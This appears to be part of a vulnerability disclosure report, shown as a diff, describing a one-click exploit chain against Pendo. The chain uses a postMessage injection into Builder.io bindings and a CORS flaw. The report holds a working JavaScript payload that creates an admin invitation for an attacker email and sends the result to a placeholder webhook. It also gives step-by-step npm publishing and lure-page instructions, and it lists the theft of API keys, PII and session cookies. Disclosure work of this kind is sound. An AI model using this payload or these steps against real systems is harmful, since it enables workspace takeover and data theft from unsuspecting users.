var payload = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/user',{method:'POST',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({email:'ATTACKER-EMAIL',role:2,first:'Security',last:'Researcher'})}).then(function(r){return r.text()}).then(function(d){new Image().src='YOUR-WEBHOOK-URL?action=invite&status='+encodeURIComponent(d)})\";w.document.head.appendChild(s)}";
|
|
133
|
+
|
|
134
|
+
iframe.onload = function() {
|
|
135
|
+
setTimeout(function() {
|
|
136
|
+
var patchData = {};
|
|
137
|
+
allIds.forEach(function(id) {
|
|
138
|
+
patchData[id] = [{op:"replace",path:"/bindings/show",value:payload}];
|
|
139
|
+
});
|
|
140
|
+
iframe.contentWindow.postMessage({type:"builder.patchUpdates",data:{data:patchData}}, "*");
|
|
141
|
+
}, 3000);
|
|
142
|
+
};
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
What this does:
|
|
146
|
+
- Iframes `www.pendo.io/?builder.frameEditing=true` (enables the vulnerable postMessage handler)
|
|
147
|
+
- Sends `builder.patchUpdates` postMessage that injects attacker code into block bindings (no origin check)
|
|
148
|
+
- The binding runs through `Function()` — arbitrary JS on `www.pendo.io`
|
|
149
|
+
- Bridges into the first-party pendo.io window to bypass Chrome's cookie partitioning
|
|
150
|
+
- Calls `POST /pendo/user` with `role: 2` (admin) and the attacker's email
|
|
151
|
+
- The API creates an admin invitation — attacker receives an email to join the victim's subscription
|
|
152
|
+
|
|
153
|
+
**Step 3:** Create `package.json` in the same folder. Pick a package name that isn't taken on npm — check at `https://www.npmjs.com/package/YOUR-NAME` (404 = available):
|
|
154
|
+
|
|
155
|
+
```json
|
|
156
|
+
{
|
|
157
|
+
"name": "your-unique-package-name",
|
|
158
|
+
"version": "1.0.0",
|
|
159
|
+
"description": "Security research PoC",
|
|
160
|
+
"main": "index.js",
|
|
161
|
+
"type": "module"
|
|
162
|
+
}
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
**Step 4:** Publish to npm:
|
|
166
|
+
|
|
167
|
+
**4a.** Create an npm account at https://www.npmjs.com/signup if you don't have one.
|
|
168
|
+
|
|
169
|
+
**4b.** Generate a publish token: go to https://www.npmjs.com/settings → Access Tokens → Generate New Token → select **"Automation"** as the token type. Copy the token.
|
|
170
|
+
|
|
171
|
+
**4c.** Open a terminal in the folder with your files and run:
|
|
172
|
+
|
|
173
|
+
```
|
|
174
|
+
npm config set //registry.npmjs.org/:_authToken=YOUR_TOKEN_HERE
|
|
175
|
+
npm publish
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
**Step 5:** Wait ~2 minutes for jsDelivr to index it. Verify at `https://cdn.jsdelivr.net/npm/your-unique-package-name@1.0.0` — you should see your code.
|
|
179
|
+
|
|
180
|
+
**Step 6:** Generate the exploit URL. Go to https://poc1.xyz/pendo-encoder.html, type your package name, click "Generate PoC URL", and copy the result.
|
|
181
|
+
|
|
182
|
+
**Step 7:** Create `a.html` with the URL from Step 6:
|
|
183
|
+
|
|
184
|
+
```html
|
|
185
|
+
<!DOCTYPE html>
|
|
186
|
+
<html>
|
|
187
|
+
<head><title>PoC</title></head>
|
|
188
|
+
<body>
|
|
189
|
+
<h2>Builder.io + Pendo PoC</h2>
|
|
190
|
+
<button id="btn" style="padding:15px 30px;font-size:18px;cursor:pointer;">View Document</button>
|
|
191
|
+
<script>
|
|
192
|
+
document.getElementById('btn').addEventListener('click', function() {
|
|
193
|
+
window.open('https://www.pendo.io', 'pendowin');
|
|
194
|
+
setTimeout(function() {
|
|
195
|
+
window.location = 'YOUR-POC-URL-FROM-STEP-6';
|
|
196
|
+
}, 3000);
|
|
197
|
+
});
|
|
198
|
+
</script>
|
|
199
|
+
</body>
|
|
200
|
+
</html>
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
**Step 8:** Open `a.html` in a browser where the victim is logged into Pendo. Click the button.
|
|
204
|
+
|
|
205
|
+
**Step 9:** Check your webhook — you'll see a response with `201 Created` and a `pendoInvitationId`. Check the attacker email inbox — you'll receive an invitation to join the victim's Pendo subscription as admin.
|
|
206
|
+
|
|
207
|
+
**Step 10:** Accept the invitation, create a password. You now have full admin access on both **novus.pendo.io** and **app.pendo.io** — same subscription, same user database.
|
|
208
|
+
|
|
209
|
+
---
|
|
210
|
+
|
|
211
|
+
## Video PoC
|
|
212
|
+
|
|
213
|
+
The attached video PoC demonstrates both paths:
|
|
214
|
+
- **Path A** — one click, victim's PII, API keys, and account data exfiltrated to the attacker's webhook
|
|
215
|
+
- **Path B** — one click, attacker invited as admin to the victim's workspace, then logging into app.pendo.io with full admin access
|
|
216
|
+
|
|
217
|
+
## Impact
|
|
218
|
+
|
|
219
|
+
The attacker gets full JavaScript execution on `www.pendo.io` in the context of any authenticated Pendo user. Combined with the CORS misconfiguration on `novus-api.pendo.io`, this gives the attacker full read and write access to the victim's Pendo subscription.
|
|
220
|
+
|
|
221
|
+
**Full Workspace Takeover via Admin Invitation** — The attacker calls `POST /pendo/user` with `role: 2` to create an admin invitation for themselves. After accepting, the attacker has full admin access to the victim's **app.pendo.io** workspace — the same access as the account owner. This includes user management (invite more admins, remove users), guide publishing to the victim's end users, all analytics and session replay data, integration management, and full subscription settings.
|
|
222
|
+
|
|
223
|
+
**Data Exfiltration** — Before the attacker even needs to invite themselves, the chain leaks:
|
|
224
|
+
- `GET /pendo/app` — **API keys**, application config, all feature flags, **track event secrets**
|
|
225
|
+
- `GET /auth/me` — victim's **email**, user ID, organization ID, subscription IDs
|
|
226
|
+
- `GET /auth/subscriptions` — all subscriptions the victim belongs to
|
|
227
|
+
- `GET /cortex-chat` — all **AI assistant conversations**
|
|
228
|
+
- `GET /setup-workflow` — all workflow data
|
|
229
|
+
- `GET /integrations` — connected integrations (in my test, the victim's **GitHub account** was exposed)
|
|
230
|
+
|
|
231
|
+
**Session Hijacking** — The attacker can exfiltrate session tokens and authentication cookies from the first-party pendo.io window, maintaining persistent access without re-exploiting.
|
|
232
|
+
|
|
233
|
+
**Organization Takeover** — Once the attacker has admin access via the invitation, they can invite more attacker-controlled accounts, remove legitimate users, change roles, modify product analytics, publish malicious guides to the victim's end users, and access all connected integrations.
|
|
234
|
+
|
|
235
|
+
One click from any logged-in Pendo user. Full account, workspace, and organization takeover on app.pendo.io.
|
|
236
|
+
|
|
237
|
+
### CVSS Clarification
|
|
238
|
+
|
|
239
|
+
- **Confidentiality: High** — The attacker can access all user data, workspace data, API keys, track event secrets, account metadata, analytics data, AI conversations, integration credentials, and any information available through `novus-api.pendo.io`.
|
|
240
|
+
- **Integrity: High** — The attacker can invite themselves as admin (`POST /pendo/user` with `role: 2`), modify all workspace settings, publish guides to end users, change user roles, remove users, and alter any data through the Pendo admin panel on app.pendo.io.
|
|
241
|
+
- **User Interaction: None** — The entire exploit chain can run from iframes without the victim clicking anything. The button in the PoC is only there to bypass Chrome's third-party cookie partitioning for the authenticated API calls. The XSS chain itself (qwik-playground → pendo.io iframe → postMessage → `Function()` execution) fires automatically when the victim visits any attacker-controlled page. An attacker can embed the qwik-playground XSS URL in a hidden iframe on any website — the DOM XSS triggers on page load, the pendo.io iframe is created programmatically, and the postMessage payload is sent automatically. The victim sees nothing and clicks nothing.
|